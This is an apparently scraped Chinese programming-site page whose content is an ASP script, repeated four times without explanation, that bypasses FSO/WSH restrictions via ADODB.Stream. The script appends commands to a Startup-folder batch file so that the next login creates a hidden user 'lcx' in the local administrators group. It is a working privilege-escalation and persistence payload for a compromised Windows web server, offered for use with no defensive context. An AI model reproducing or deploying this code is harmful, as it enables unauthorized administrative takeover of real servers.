跨越fso、wsh、 application写文件
程序员文章站
2022-04-15 09:35:31
<% on error resume next dim lcxset lcx=server.createobject("adodb.stream") lcx.open...
<%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%>
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%> <%
on error resume next
dim lcx
set lcx=server.createobject("adodb.stream")
lcx.open
lcx.type=2
lcx.charset="gb2312"
lcx.loadfromfile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat"
lcx.position=lcx.size
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add"
lcx.savetofile "c:\documents and settings\administrator\「开始」菜单\程序\启动\cook.bat",2
lcx.close
set lcx=nothing
%>
上一篇: 解析.NET中几种Timer的使用
下一篇: 详解C# Socket编程笔记